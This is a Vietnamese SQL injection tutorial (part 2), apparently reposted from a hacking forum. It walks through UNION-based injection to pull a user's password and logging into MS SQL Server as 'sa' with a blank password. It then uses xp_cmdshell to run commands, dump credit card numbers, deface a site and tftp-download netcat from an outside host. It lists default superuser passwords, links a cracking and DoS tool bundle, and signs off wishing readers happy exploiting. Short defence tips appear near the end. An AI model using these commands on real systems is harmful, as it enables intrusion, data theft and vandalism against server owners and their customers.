/index.asp, line 5 Đây rồi: 1 trong những login name là 'Rahul', câu lệnh lấy password của user Rahul sẽ là: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM l
Trang 1Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Rahul' to a column of data type int /index.asp, line 5
Đây rồi: 1 trong những login name là 'Rahul', câu lệnh lấy password của user
Rahul sẽ là:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'P455w0rd' to a column of data type int /index.asp, line 5
OK, tên truy cập : Rahul và mật khẩu là p455w0rd Ta đã crack được CSDL của www.nosecurity.com Và điều này nhờ vào server đã không lọc dữ liệu truy vấn của người dùng Lỗi SQL này vẫn còn gặp ở nhiều website, và phương pháp phòng chống tốt nhất là phân tích những request của user và lọc đi các ký tự như ', ", , :
Phần 2: dùng cổng 1434 ( cổng giao tiếp SQL )
-
Chúng ta đã thấy cách làm thế nào để xâm nhập vào CSDL bằng cách dùng các malformed URL và chỉ bằng cổng 80 ( cổng http ) Sau đây ta sẽ hack database dùng port 1434 Trước khi hack chúng ta nên biết thật sự các database server là gì
và hoạt động như thế nào, cùng với cách khai thác chúng
Những người thiết kết MS SQL tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp cho webdesigner linh động hơn Các thủ tục này không có gì khác mà chính là các lớp hàm, được dùng để thực hiện những nhiệm
vụ nào đó dựa trên các biến được truyền cho chúng Chính những thủ tục này rất quan trọng đối với hacker, 1 số trong đó gồm:
sp_passsword -> đổi password cho 1 tên truy cập (login name) nào đó
VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’
sp_tables -> hiển thị tất cả table trong database hiện tại
VD: EXEC sp_tables
xp_cmdshell -> cho phép chạy câu lệnh bất kỳ lền server với quyền admin của database ( cái này quan trọng nhất, vì thông thường database được cài mặc định
Trang 2với quyền root )
xp_msver -> hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng
xp_regdeletekey -> xoá một key trong registry của windows
xp_regdeletevalue -> xoá một giá trị trong registry
xp_regread -> in 1 giá trị trong registry lên màn hình
xp_regwrite -> gán 1 giá trị mới cho 1 key
xp_terminate_process -> ngừng một process nào đó
Đây là một số các lệnh quan trọng Thật ra có hơn 50 loại thủ tục như thế Nếu muốn database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng cách mở Master database dùng chương trình MS SQL Server Enterprise Manager Mở folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn chuột phải và chọn delete
Lưu ý:"Master" là một database quan trọng của SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn Ngoài "Master" db ra còn có "Syslogins" là table hệ thống mặc định chứ tất cả username và password để login vào db ( user của db khác user của ứng dụng web ) Điều nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là "sa" với password "" ( không có pass )
Tiếp theo là cách hack db Đầu tiên ta cần tìm ra một server bị lỗi Download 1 chương trình scan port và scan 1 dãy ip để tìm ip có port 1433 hoặc 1434 ( tcp hay udp ) mở Đây là port dùng bởi MS SQL server Ngoài ra port của Oracle server là
1512 VD như chúng ta tìm được một server có ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng telnet hoặc netcat tới port
1433/1434 Ngoài ra có thể dùng một tool tên là osql.exe được kèm theo với các SQL server 2000 Mở DOS prompt và type vào:
C:>osql.exe -?
osql: unknown option ?
usage: osql [-U login id] [-P password]
[-S server] [-H hostname] [-E trusted connection]
[-d use database name] [-l login timeout] [-t query timeout]
[-h headers] [-s colseparator] [-w columnwidth]
[-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
[-L list servers] [-c cmdend]
[-q "cmdline query"] [-Q "cmdline query" and exit]
Trang 3[-n remove numbering] [-m errorlevel]
[-r msgs to stderr] [-V severitylevel]
[-i inputfile] [-o outputfile]
[-p print statistics] [-b On error batch abort]
[-O use Old ISQL behavior disables the following]
<EOF> batch processing
Auto console width scaling
Wide messages
default errorlevel is -1 vs 1
[-? show syntax summary]
Đây là help file cho osql Tiếp tục:
C:\> osql.exe –S 198.188.178.1 –U sa –P “”
Nếu chung ta nhận được dấu nhắc
1>
có nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user
"sa"
Tới đây nếu ta muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần dùng thủ tục
"xp_cmdshell" như sau:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master xp_cmdshell ‘dir
>dir.txt’”
Tôi khuyến khích việc dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi câu lệnh được thực hiện Tương tự ta có thể chạy bất cứ một câu lệnh nào lên server Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục access vào server sau này Ta cũng có thể dùng “information_schema.tables” để lấy list các tables và nội dung của chúng bằng cách:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from
information_schema.tables”
Kiếm thông tin login trong các table như login, accounts, users
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”
và lấy thông tin về username cùng với credit card
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users”
Trang 4Output:
Username creditcard expdate
- - -
Jack 5935023473209871 2004-10-03 00:00:00.000
Jill 5839203921948323 2004-07-02 00:00:00.000
Micheal 5732009850338493 2004-08-07 00:00:00.000
Ronak 5738203981300410 2004-03-02 00:00:00.000
Có thể deface website bằng cách chạy lệnh sau ( chỉ trong trường hợp database server được install chung với webserver )
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master xp_cmdshell ‘echo defaced by hack> C:\inetpub\wwwroot\index.html’”
Upload file lên server dùng tftp:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’”
Để download một file nào đó ta có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện trên server chứ không fải ở máy chúng ta Nếu ta dùng GET, câu lệnh sẽ thực hiện trên server và sẽ download nc.exe từ máy của chúng ta tới server
Tools dùng hack các SQL pass có rất nhiều trên web Ngay cả lỗi tràn bộ đệm cũng
có thể được dùng để điêu khiển hoàn toàn một hệ thống với quyền admin Bài viết này chỉ đề cập một số vấn đề tổng quát về db server
• Remember the Sapphire worm? Which was released on 25th Jan The worm which exploited three known vulnerabilities in the SQL servers using 1433/1434 UDP ports
Phương pháp phòng chống
-
<*> Đổi password mặc định của user "sa"
<*> Xoá tất cả các thủ tục được mặc định lưu trữ trên server
<*> Lọc những ký tự như ',", ,:
<*> Update SQL với những bản mới nhất
Trang 5<*> Khoá các port SQL bằng cách dùng firewall
Một số website về SQL security"
http://sqlsecurity.com
http://www.cert.com
Any comments and good criticism is always accepted at guatehack@linuxmail.org [End of Original Message]
1 Một số password default cho các super-user:
Oracle sys: oracle
mySQL (Windows) root:null
MS SQL Server sa:null
DB2 dlfm:ibmdb2
2 Collection các tool dùng cho SQL:
SQLTools.zip -> www.lebuudan.net/SQLTools.zip
Bao gồm:
SQLcracker + passlist + userlist
SQLdos.exe
SQLscanner.exe
SQLping.exe
and more
3.OSQL.exe nằm trong bộ MSDE của microsoft, nhưng tới 64Mb lận, có ai cần thì tui upload lên Hông thì thui, host nhỏ xíu hà
4 ebook/text :
ebook: http://www.hackersplayground.org/books.html
text: http://www.hackersplayground.org/papers.html
SQLinjection: http://www.hackersplayground.org/papers.html
Chúc khai thác vui vẻ !
Hvaonline.net
SQL Injection Tutorials Part 2